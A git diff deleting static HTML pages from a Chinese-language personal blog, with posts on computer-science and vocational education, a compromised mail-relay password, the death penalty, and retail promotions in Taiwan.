    在資訊工程領域裏,我們經常看到一個現象,那就是很多外科系半路出家的程式領域人才,實力都非常堅強,而且通常在產業界表現傑出。但是相反的,很多資訊工程系畢業的學生,連程式都不會寫,而且畢業之後通常不走資訊領域,從事的工作也與所學無關。

    - -

    這樣的現象,讓我開始思考,究竟在人才培育的過程當中,大學應該扮演甚麼角色?而一個大學資訊工程系的老師,又應該傳授給學生哪些知識呢?

    - -

    ● 資訊領域的擴展

    - -

    在我大學的時代,電腦領域還沒有像現今這麼多元與豐富。那時候我們不知道甚麼是「網路」,還沒有見過「視窗」環境,每個人手上拿一個容量只有 360k 的磁碟片,插進電腦磁碟機後,就可以開始寫程式。

    - -

    但是現在,我們一開機就上了網路,用 Google 隨隨便便就可以找到全世界任何地方的程式與資料,臉書上面的好友成千上萬,每個人關注的焦點都不太相同,即使同樣身在資訊工程系,但是大家的研究方向與專 長都差異甚大,同一個科系的老師間都不知道其他人到底在研究些甚麼?不同領域者寫的論文往往其他領域的人都看不懂,然後每個人都專注在自己的領域當中,沒 有任何一個人可以理解整個產業與學術的整體現況。

    - -

    資訊工程領域,從軟體到硬體,又可以分為「硬體、韌體、系統軟體、應用軟體、網路、動畫、遊戲、人工智慧、資訊管理」等領域,而每個領域又可以進一步細分 成更多的子領域,像是硬體可分為「數位或類比」的電路,而系統軟體又包含「作業系統、編譯器、組譯器、虛擬機、…」等等。

    - -

    ● 研究與產業的分化

    - -

    於是,我們的學術研究,也就這樣的區分再區分,區分到極為細小的程度,就成了一個研究主題。而一個資訊領域的研究者也就這樣在一個細小的主題上研究了一輩 子。或者採用另一種功利的做法,在國科會的補助利誘下隨波逐流,神經網路技術熱門的時候就去做神經網路研究,雲端技術紅了之後就突然變成了雲端專家。

    - -

    然後,產業界也有類似的細分情況,做電路板的一直做電路板,寫驅動程式的人一直寫驅動程式,做晶片的區分得更細,從「設計軟體、蓋晶圓廠、電路設計、 VHDL、Verilog 設計、製程、光罩、封裝、測試……」,每個人幾乎都只熟悉他的那一小部份。而整體的產業,就在這種情況之下被切割得支離破碎,但也因此而能透過專注與分工 建立起龐大且複雜的工業體系。

    - -

    在軟體方面,每個程式語言通常都各自形成一套體系,即使同樣在網站設計領域,寫ASP的通常不懂怎麼寫 PHP,寫 PHP 的又不懂 Ruby on Rail,當然這些人對 C/C++ 所形成的系統程式也會有隔行如隔山的感覺。

    - -

    ● 當今資工教育的反思

    - -

    於是,當一位沒有技術背景的高中生,進入到大學資工系的時候,勢必感到徬徨、困惑與焦慮。

    - -

    當他從「計算機概論、微積分、機率統計、線性代數、離散數學、工程數學、程式設計、電子學、電路學、數位邏輯、資料結構、演算法、系統程式、組合語言、作 業系統、編譯器、軟體工程、專案管理、視窗程式、動畫設計、遊戲設計、行動裝置程式設計、網路概論、網路管理、網路程式設計、TCP/IP協定、無線網 路、人工智慧、神經網路、資料庫」等等一路修上來,即便經過了大學長達四年的訓練,也往往只能走馬看花,而難以成為真正的專家或技術高手。

    - -

    但是對那些從「數學系、哲學系、社會學系…」等領域半路出家,某天突然想到要跨入程式領域的非本科人士而言,他們根本就不會去學那麼多的東西,而是從 一個他有興趣的主題,例如架設網站、或者寫手機程式開始,一路採用「做中學、學中做」的方式,不斷的進行「思考—實作—思考—再實作」的循環,直到自己在 那個領域能夠悠遊自在、無所掛礙,然後他們就成了該領域的傑出人才。

    - -

    於是,我們不禁要問,那些大學資工系為何要教那麼多樣化的課程,但卻又培養不出優秀的技術人才呢?

    - -

    ● 資工教育的另一種可能

    - -

    我們是否應該採取另一種方式,學習「半路出家那些人」的訓練方式,來設計「資訊工程科系」的課程呢?暫且讓我們想想看這樣的方式會不會更好!

    - -

    假如有個大學資工系,該科系所設計的課程就是為了要培養「專業的程式人才」,於是當他們看到像 Xdite 這樣從數學系來的人可以成為 Ruby on Rail (RoR)網站設計專家,就決定了要朝這方面設計課程。於是他們重新設計了整個課程,如下所示:

    - -

      - - - - - - -
    -
    ❝  Web 概論、HTML 、CSS、 JavaScript、 Ruby、 Rail、 Ruby 的系統軟體、網站效能分析與調校、AJAX、Rubygem……  ❞
    -此時,假如那些來念這個科系的人都非常確定自己要成為 Ruby on Rail 的專家,而且動機超強,那麼或許這個科系有機會培養出這方面的傑出人才。

    - -

    但如果有些學生並不想學 RoR,而是想做嵌入系系統,那麼又會如何呢?

    - -

    ● 如果我是個高中生

    - -

    假如,我回到高中時代,從新選擇念一次大學的話,我會怎麼念呢? 我時常在想這樣的問題!

    - -

    如果我想要成為Ruby on Rail (RoR)的人才,那我很可能會選擇不念大學,而是直接找到一個RoR高手,或者一間採用 RoR 的公司,然後直接跟著那位高手,或者到那家公司去工作,透過這個過程學會整套的技術,並且不斷的透過網路社群與開放原始碼的交流,並將設計作品放上 github去,讓自己在不斷的磨練當中成為RoR高手。

    - -

    當然,一定有人會說,程式語言就像流行服飾一樣,一下子就過時了,當你訓練自己成為 RoR 高手之後,或許 RoR 就已經過時而沒用了,這樣的訓練又有甚麼價值呢?

    - -

    但是,會這樣說的人,通常不太瞭解,當我們學習 RoR 的時候,其實學到的並不只是RoR,而是一整套的程式設計概念、環境、工具與模式。於是當RoR過時的時候,我們很快就可以學會另一套更新更好的技術,只不過採用的程式語言與架構有所不同罷了。

    - -

    當然,技術的變化也有可能非常得大,大到讓一切所學都得重來,就像台大校長李嗣涔年輕時所碰到的,從「計算尺」變成「真空管」的時代,或者從「真空管」變成「積體電路」的情況,那過去所學的硬體技術很可能都會被廢棄而難以使用了。

    - -

    但是,一但碰到這種大變化時,我們也只能不斷更新自己,努力的尋求跟上時代的方法了。

    - -

    不過即使碰到從「計算尺」變成「真空管」的巨大變化,大學裏所學到的「物理學、微積分」等課程,仍然不會過時,這或許是為何大學要強調那些基礎學科的原因了。

    - -

    但是,有利必有弊,這些基礎學科,雖然很重要,但是在產界實務上並不容易產生直接的幫助 (不過對理解上卻很有貢獻),而這也正是「技職教育」與「大學教育」兩者之間的不同點。

    - -

    所以在技職教育上,或許我們可以開設像是「程式設計系、RoR 科系、 Web設計系、麵包烘培系」,然後在一兩年之內培養出優秀的人才,這種做法其實有點像補習班,但卻是納入正規教育的結果。

    - -

    就我所知,印度軟體產業的最重要人才培養機構,並不是大學,而是資訊職技訓練班 NIIT 與 Aptech,而這正是我們的教育體系所缺乏的一個重要元素,因為我們的技職已經大學化了。

    - -

    ● 如果我決定念大學資工系

    - -

    假如我真的決定去念大學資工系,那我想要的,應該就是可以探索「軟體、硬體、網路、動畫、遊戲、人工智慧」等等各個領域的自由,因而決定給自己一段較長的 時間,去學習與沉澱,去體會大學生活,去感受無拘無束的學術氣氛,去和一群優秀的夥伴切磋互動,而不僅僅是為了取得學位而已!

    - -

    當然,現在台灣的大學能否提供這些,我是有點悲觀啦!

    - -

    即使大學裏沒有,但是學習早已無國界,網路上的資源,像是MOOC、開放課程、開放原始碼、各種社群等等,絕對會有讓我們不斷學習的機會,只是要自己去尋找而已!

    - -

    學校並不是工廠,不單只是負責生產人才的地方,但是學校有責任提供一個讓人成長與學習的環境,如果這點都做不到,那這所學校就不再有價值了!

    - -

    ● 大學不是職業訓練所嗎?

    - -

    有人說:「大學不是職業訓練所」這句話其實是有點道理的!但是把大學當成高高在上的研究機構,而貶低技術或職業訓練的價值,我想是誤解了這句話的含意。

    - -

    大學不能只是職業訓練所,也提供更寬廣的研究與探索空間,但是大學裏開設職業課程並沒有甚麼不對,把技職教育貶低也不能讓大學感覺更高尚。

    - -

    在一個開放的社會裏,需要技職、也需要大學,大學可以教授技術或職業課程,但是技職則提供了一個更密集學習技術與職業能力的環境。事實上像是美國的麻省理 工學院(MIT)與加州理工學院(UCLA)等著名的理工學校,正是一群教育工作者將德國技職教育帶回美國所創造出的成果。

    - -

    在一個多元的社會裏,應該能夠容許各式各樣的教育模式,讓學習者能夠根據性向與志趣選擇他們所想要的學習環境,而不是大家都朝著那種看來比較高級的大學去擠,這樣的想法只會讓整個社會更加貧瘠,學習更加無趣而已!

    - -

    ● 技職教育的新機會

    - -

    在台灣,電子資訊類的二專體系似乎已經滅絕了,這點我們可以從技訊網中清楚的看到。

    - -

    即使如此,二專體系的滅絕,我認為反倒為密集且短期的技職教育,創造了一個全新的可能性。

    - -

    由於台灣的技職已經高教化了,導致技職與大學同質性過高,這在學歷報酬遞減,大學生求取好工作相對困難的今天,大學對學生的吸引力勢必會逐年下降,加上少子化衝擊的結果,未來高等教育的品質勢必大幅的下降 (其實現在就是這樣了)。

    - -

    假如我們能創造出一所像 NIIT 或 Aptech 這樣的技職教育機構,提供為期一到兩年的高品質短期技術訓練,那我想在在大學充斥的情況下,這種密集的訓練反而會是一個亮點。對於那些有心從事此類工作, 但是卻不想耗費四年在大學裏閒晃的同學來說,這樣的教育方式會更緊湊而有效。

    - -

    這種教育機構最好能採用住校的方式,讓大家密集的取得想要的技能,然後快速的到職場上去工作,而這也是 NIIT、Aptech 等機構之所以成功的原因,也是我認為台灣技職教育可以學習的新方向。

    - -

    ● FabLab、Maker 與技職教育

    - -

    最近台灣的電子資訊產業已然走向下坡,產業裏的一些人才也紛紛在思考創業的可能性,而高等教育在少子化的衝擊下也逐漸面臨崩潰甚至倒閉的命運,像是高鳳、永達等學校都是很明顯的案例。

    - -

    但這代表台灣應該退出電子資訊產業,或者不需要再訓練這方面的人才嗎?

    - -

    我的看法是,剛好相反!

    - -

    因為危機就是轉機,台灣電子資訊產業過去幾十年經過實戰磨練出來的那些人才,有很多人其實懷有滿腔的熱情,願意投入高等教育,但是礙於大學聘用上的一些規定,讓他們無法將所學的技術傳承給下一代。

    - -

    如果我們能夠成立一些可以取得學歷的技術教育機構,然後聘請這些經過產業洗禮的人才來教授實務技術,就可以避開現今台灣高等教育過度重視論文,輕忽實務的 缺陷。這樣不僅能平衡目前的高教生態,也能讓電子資訊產業的實務技術得以傳承並繼續發揚光大,可以說是一舉數得的好事啊!

    - -

    ● 打造全新的技職教育

    - -

    這兩年,我看到一群有心的科技人才,開始關注教育的領域,像是洪堯泰耗資千萬自費創建了 Fablab.Taipei,提供大家一個學習與製造的空間。而系統程式高手 jserv 開始到成功大學開設嵌入式系統的課程,教學生自己撰寫作業系統,動手打造真正可用的裝置。我們也看到 OpenLab.Taipei FabLab Tainan FUTUREWARD 等 Maker 組織都逐漸的成立了。

    - -

    我想像著,假如有機會重新打造一所新的技職學校,我們該怎麼做呢?

    - -

    如果這所學校,能搭配 Maker 自造者的精神,將 FabLab 這種結合創意與工廠的方式引進學校,讓學生可以透過一系列的課程,學會從「模具、車床銑床、CNC、電路設計與印刷、單晶片、控制程式」等硬體技術,一路 到「軟體、網路、動畫、遊戲」等等領域,就可以讓技職體系的特色完全突顯出來,我認為這是台灣技職教育與產業接軌的最佳機會。

    - -

    這所學校的學生不需要事事都懂,他們只要在「做中學、學中做」的過程中學習到「如何學習的能力」就夠了!

    - -

    所謂的 Maker,不就是結合了工匠與研究精神,想做甚麼,就能自己動手做出來,然後盡情發揮創意的那種人嗎?

    - -

    新一代的技職教育所要培養的,就是這種融合了工匠與研究者精神的 Maker 啊!

    - -

    ● 更早的職業教育是否可能?

    - -

    假如,我們真的擁有了這樣優質的 Maker 型技術學校,那麼、我們的下一代真的需要接受大學教育嗎?是否他們只需要接受專科教育就夠了呢?更或者、他們只需要接受高職教育就夠了呢?

    - -

    甚至我們是否應該提供一種教育的選擇權,讓他們有機會在國中就開始接受職業教育,經過三到六年的訓練之後,可以選擇在15歲或18歲就可以投入職場,而不需要多花4到7年去接受高中或大學教育呢?

    - -

    從「資訊科技」的角度看來,這未嘗不可,而且將會是一個相當有吸引力的選擇。

    - -

    因為我們看到許多優秀的 Maker 與程式人,都在非常年輕的時候就展現了技術能力,對於他們而言,大學或高中教育,根本就是不必要的時間浪費啊!

    - -

    ● 從小學習當一個 Maker

    - -

    就我所知,德國的技職與學術教育的分流從國小五年級就開始了,這看起來實在非常早,仔細想想後卻是非常有道理的。

    - -

    因為一個小學四年級的學生,其實已經具備了母語「聽、說、讀、寫」的能力,對於數學的「加、減、乘、除」也已然熟悉了,這些能力已經足以應付日常生活,並且做為進一步學習專業的基礎。

    - -

    在我們的教育中,國小五年級到高中這一段漫長的時間裏,所學習的主科不外是「英、數、理、化、史、地、社會」等等科目,但是沒學習這些科目並不妨礙技術的 學習。舉例而言、我們真的要學會「求解聯立方程式、幾何學、英文、牛頓力學、化學元素週期表 …」等等內容才能去學習「資訊工程」嗎?

    - -

    就我個人的想法,我認為根本不用!

    - -

    勉強來說,英文是有需要學習一些,才有辦法開始學習「程式設計」,但是我們也可以先教那些「程式語言裏會用到的英文詞彙」,像是「if, for, while, function, do, main, var, char, int, float, double」 等等關鍵字,然後就直接讓這些「小小程式人」上戰場去進行磨練,這樣的學習或許更為有效,更適合那些想走實用技術的學生也說不定。

    - -

    因此,我們設計出了下列的課程與銜接方式,讓想學習程式領域當一個 Maker的人可以有各式各樣的學習組合,他們可以選擇「小學畢業、國中畢業、高中/高職畢業、或大學畢業」時出去工作,而且隨時可以回來銜接更進一步的 教育,這樣的安排或許比現在硬梆梆的教育體制會好得多啊!

    - -

      - - - - - - -
    - - - - - - - - - -
    圖表/作者提供
    -
    -如果小孩想學水電、或者是烘培,那又有何不可?我們應該給他們選擇各種學習的機會,如果他們能夠提早接觸到職業領域,而不是被迫在學校當一個乖乖聽老師講課的小孩,那麼這樣的嘗試或許可以幫助他們盡早發現自己的性向與志趣。

    - -

    對於那些決定在 15 歲就出去工作的人而言,我們希望能夠透過申請在家自學的方式,讓他們在想要的時候仍然能回到學校。不管是繼續求學,或者繼續嘗試下一種可能的領域,都不會因此而延誤受教權,這種高彈性的教育方式,才是我認為較好的一種學習制度。

    - -

    當教師們還在為了「國文多一點時數或少一點時數」而爭吵不休時,是否曾經想過,這種大一統的教育規定,正是扼殺學童心靈的最快方法。或許有些人可以主張 「教育應該從基礎做起,所以英數理化是很重要的」,但是當這些人企圖將這種主張強制套用的其他人身上時,其實正是在摧毀我們的教育根基。這種大一統的想 法,只會讓我們的學生繼續望著窗外發呆,聽著不想聽的課,過著沒有目標的人生罷了!

    - -

      - - - - - - -
    ...
    -有了這樣的想法,我決定要進行一個計劃,那就是號召金門大學的老師來投入這種新型態的實驗教育,希望透過與國小的合作,讓我們的技職教育能夠有一個全新的 可能性,於是我成立的下列社團,短期的目標是與「金門的國中小」合作,讓自願參加這種新型態教育的小朋友,有機會透過這種方式成為一個 Maker 型人才。 -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-af-86-e7-a2-bc-e8-a4-87-e9-9b-9c-e5-ba-a6-e5-8f-88-e8-a6-81-e5-86-8d-e6-ac-a1-e6-8f-90-e5-8d-87/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-af-86-e7-a2-bc-e8-a4-87-e9-9b-9c-e5-ba-a6-e5-8f-88-e8-a6-81-e5-86-8d-e6-ac-a1-e6-8f-90-e5-8d-87/index.html deleted file mode 100644 index 17b8d827..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-af-86-e7-a2-bc-e8-a4-87-e9-9b-9c-e5-ba-a6-e5-8f-88-e8-a6-81-e5-86-8d-e6-ac-a1-e6-8f-90-e5-8d-87/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - [雜念] 密碼複雜度又要再次提升 ..... | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 密碼複雜度又要再次提升 .....

    -
    - - - 2016-04-20 - - - - - - - - - 其他 - - - - - -
    - - -

    電腦越來越強,運算能力越來越好,結果就是字典攻擊的速度越來越快了..

    - -

    本來慣用的密碼之一,八碼/小寫英文加數字 ,居然被破了!

    - -

    早上開OUTLOOK,收到一堆退信,心想大事不妙

    - -

    翻了一下mail server / NOPAM的 LOG

    - -

    還真的是用我的帳號進來通過認證才發信的..

    - -

    IP在印尼(雖說查這個也沒啥意義)

    - -

    2016-04-20_09-25-39

    - -

     

    - -

    總之,先改了密碼,這次把長度放大到15碼 大小寫數字符號都有了…再看看怎麼破….

    - -

    或許之前一直在「設計階段」的動態密碼該真正實施了吧…

    - -

     

    - -

    Update: 最後確認是在NOPAM上我自己新增的帳號被猜到,而不是MAIL SERVER上的帳號密碼被猜到..

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-b9-b9-e4-bd-a0-e5-aa-bd-e7-9a-84-e5-bb-a2-e6-ad-bb-ef-bc-81/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-b9-b9-e4-bd-a0-e5-aa-bd-e7-9a-84-e5-bb-a2-e6-ad-bb-ef-bc-81/index.html deleted file mode 100644 index 504208a0..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-b9-b9-e4-bd-a0-e5-aa-bd-e7-9a-84-e5-bb-a2-e6-ad-bb-ef-bc-81/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [雜念] 幹你媽的廢死! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 幹你媽的廢死!

    -
    - - - 2016-03-29 - - - - - - - - - 其他 - - - - - -
    - - -

    我反廢死,但是我也不認為死刑的存在對於這次內湖的殺童案會有任何「嚇阻」作用

    - -

    不過我完全無法接受電視上這些支持廢死的人說出來的話。

    - -

     

    - -

    死刑不能解決問題?

    - -

    你他媽的廢死又怎樣能夠預防下一個隨機殺人出現?

    - -

    根本兩碼子事,就你們這些人硬要出來坦?

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-be-9e-e5-be-ae-e8-bb-9f-e5-ae-98-e6-96-b9-e7-b6-b2-e7-ab-99-e4-b8-8b-e8-bc-89-e7-9a-84excel-e6-aa-94-e6-a1-88-e7-b5-90-e6-9e-9c-e8-a2-ab-e5-be-ae-e8-bb-9f-e7-9a-84-office-ex/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-be-9e-e5-be-ae-e8-bb-9f-e5-ae-98-e6-96-b9-e7-b6-b2-e7-ab-99-e4-b8-8b-e8-bc-89-e7-9a-84excel-e6-aa-94-e6-a1-88-e7-b5-90-e6-9e-9c-e8-a2-ab-e5-be-ae-e8-bb-9f-e7-9a-84-office-ex/index.html deleted file mode 100644 index 6bf5bb97..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-be-9e-e5-be-ae-e8-bb-9f-e5-ae-98-e6-96-b9-e7-b6-b2-e7-ab-99-e4-b8-8b-e8-bc-89-e7-9a-84excel-e6-aa-94-e6-a1-88-e7-b5-90-e6-9e-9c-e8-a2-ab-e5-be-ae-e8-bb-9f-e7-9a-84-office-ex/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [雜念] 從微軟官方網站下載的excel 檔案 結果被微軟的 office excel 判定有問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-be-ae-e8-bb-9f-e7-9a-84office-365-e5-b8-b3-e5-96-ae-e9-80-9a-e7-9f-a5-e4-bf-a1-e4-bb-b6-ef-bc-8c-e4-b9-9f-e5-b0-88-e6-a5-ad-e4-b8-80-e9-bb-9e-e5-a5-bd-e5-94-84-ef-bc-81/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-be-ae-e8-bb-9f-e7-9a-84office-365-e5-b8-b3-e5-96-ae-e9-80-9a-e7-9f-a5-e4-bf-a1-e4-bb-b6-ef-bc-8c-e4-b9-9f-e5-b0-88-e6-a5-ad-e4-b8-80-e9-bb-9e-e5-a5-bd-e5-94-84-ef-bc-81/index.html deleted file mode 100644 index f833b42a..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-be-ae-e8-bb-9f-e7-9a-84office-365-e5-b8-b3-e5-96-ae-e9-80-9a-e7-9f-a5-e4-bf-a1-e4-bb-b6-ef-bc-8c-e4-b9-9f-e5-b0-88-e6-a5-ad-e4-b8-80-e9-bb-9e-e5-a5-bd-e5-94-84-ef-bc-81/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [雜念]微軟的Office 365 帳單通知信件,也專業一點好唄! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e6-9c-89-e6-b2-92-e6-9c-89-crazymike-e7-98-8b-e7-8b-82-e8-b3-a3-e5-ae-a2-e7-94-a8iphone-6-e5-90-b8-e9-87-91-e7-9a-84-e5-85-ab-e5-8d-a6-ef-bc-9f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e6-9c-89-e6-b2-92-e6-9c-89-crazymike-e7-98-8b-e7-8b-82-e8-b3-a3-e5-ae-a2-e7-94-a8iphone-6-e5-90-b8-e9-87-91-e7-9a-84-e5-85-ab-e5-8d-a6-ef-bc-9f/index.html deleted file mode 100644 index 6dce639c..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e6-9c-89-e6-b2-92-e6-9c-89-crazymike-e7-98-8b-e7-8b-82-e8-b3-a3-e5-ae-a2-e7-94-a8iphone-6-e5-90-b8-e9-87-91-e7-9a-84-e5-85-ab-e5-8d-a6-ef-bc-9f/index.html +++ /dev/null @@ -1,453 +0,0 @@ - - - - - - - - - - [雜念] 有沒有 CrazyMike 瘋狂賣客用iphone 6 吸金的八卦? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 有沒有 CrazyMike 瘋狂賣客用iphone 6 吸金的八卦?

    -
    - - - 2014-09-15 - - - - - - - - - 未分類 - - - - - -
    - - -

    這幾天一直收到這個網站寄來的廣告

    - -

    標題當然要下得很聳動,9元買 iphone 6 !?

    - -

    2014-09-15_12-54-46

    - -

    點進去看看唄..

    - -

    其實是 9元即可購得 iphone6 的「兌換券抽獎資格」,意思就是說你要參加這個抽獎,要買9元的門票一張就對了

    - -

     

    - -

    2014-09-15_12-52-37

    - -

     

    - -

    實在是好棒棒~~怎麼能不心動呢!?

    - -

    馬上來看看活動辦法

    - -

      -

    (9)活動結束後,尚未抽中之消費者,於得獎名單2014/10/1公布當日,即可收到等值購物金$9回饋至個人會員帳戶中心,使用期限為2星期 (101~1014)。
    -2014-09-15_12-52-56

    - -

     

    - -

    截至目前為止 (2014/9/16 12:59) 共有 8326 人購買 8326*9 = 74934

    - -

     

    - -

    這些錢是放在帳戶當作購物金使用,但是網站上有 9 塊的東西可以買嗎?沒有嘛!

    - -

    所以為了要取回這9元,勢必要額外消費,假設是100塊好了

    - -

    8326-1(抽到iphone6的幸運之神!) * 100 = 832500

    - -

    最差的假設就是這8325人都不要這9元了

    - -

    (8326-1) * 9 = 74925

    - -

    所以這個網站透過這個活動,能夠獲得的收入區間為

    - -

    (8326-1)* 100   ~  (8326-1) * 9

    - -

    扣除手機的官方定價  22500

    - -

    數字大概會是

    - -

    810000  ~~~ 52425 之間

    - -

    有沒有不用成本就可以這麼吸金的八卦?

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e6-a3-ae-e6-a3-ae-e8-b3-bc-e7-89-a9-e7-b6-b2-ef-bc-8c-e9-80-99-e4-b8-8b-e5-a4-a7-e5-ae-b6-e9-83-bd-e7-9f-a5-e9-81-93-e4-bd-a0-e5-80-91-e5-ae-b6nas-e7-9a-84ip-e4-ba-86-e5-95-a6/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e6-a3-ae-e6-a3-ae-e8-b3-bc-e7-89-a9-e7-b6-b2-ef-bc-8c-e9-80-99-e4-b8-8b-e5-a4-a7-e5-ae-b6-e9-83-bd-e7-9f-a5-e9-81-93-e4-bd-a0-e5-80-91-e5-ae-b6nas-e7-9a-84ip-e4-ba-86-e5-95-a6/index.html deleted file mode 100644 index b38634ba..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e6-a3-ae-e6-a3-ae-e8-b3-bc-e7-89-a9-e7-b6-b2-ef-bc-8c-e9-80-99-e4-b8-8b-e5-a4-a7-e5-ae-b6-e9-83-bd-e7-9f-a5-e9-81-93-e4-bd-a0-e5-80-91-e5-ae-b6nas-e7-9a-84ip-e4-ba-86-e5-95-a6/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [雜念] 森森購物網,這下大家都知道你們家NAS的IP了啦! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-87-a6-e5-9d-a4-e7-9a-84-e9-9b-bb-e5-ad-90-e5-a0-b1-e9-a8-99-e4-ba-ba-e5-95-a6-ef-bc-81/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-87-a6-e5-9d-a4-e7-9a-84-e9-9b-bb-e5-ad-90-e5-a0-b1-e9-a8-99-e4-ba-ba-e5-95-a6-ef-bc-81/index.html deleted file mode 100644 index b0f44600..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-87-a6-e5-9d-a4-e7-9a-84-e9-9b-bb-e5-ad-90-e5-a0-b1-e9-a8-99-e4-ba-ba-e5-95-a6-ef-bc-81/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [雜念] 燦坤的電子報騙人啦! HEUM 生菜沙拉調理機 價格不實! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-87-a6-e5-9d-a4-surface-pro3-i5256-e9-80-81-e9-8d-b5-e7-9b-a4-e3-80-8c-e5-9c-8b-e7-8e-8b-e7-9a-84-e5-84-aa-e6-83-a0-e3-80-8d/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-87-a6-e5-9d-a4-surface-pro3-i5256-e9-80-81-e9-8d-b5-e7-9b-a4-e3-80-8c-e5-9c-8b-e7-8e-8b-e7-9a-84-e5-84-aa-e6-83-a0-e3-80-8d/index.html deleted file mode 100644 index 4aa40d70..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-87-a6-e5-9d-a4-surface-pro3-i5256-e9-80-81-e9-8d-b5-e7-9b-a4-e3-80-8c-e5-9c-8b-e7-8e-8b-e7-9a-84-e5-84-aa-e6-83-a0-e3-80-8d/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - [雜念] 燦坤 Surface Pro3 i5/256 送鍵盤 「國王的優惠」 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 燦坤 Surface Pro3 i5/256 送鍵盤 「國王的優惠」

    -
    - - - 2016-01-18 - - - - - - - - - 未分類 - - - - - -
    - - -

    今天早上收到燦坤寄來的 EDM

    - -

    裡面有提到 Surface Pro3 的優惠方案

    - -

    雖然沒有想買,不過因為某些原因,還是連進去關心一下

    - -

    文案上面寫說買 Surface Pro 3 i5/256G 以上規格的機器,立刻省4000,而且送實體鍵盤!

    - -

    喔喔喔,這方案聽起來不錯啊!!!

    - -

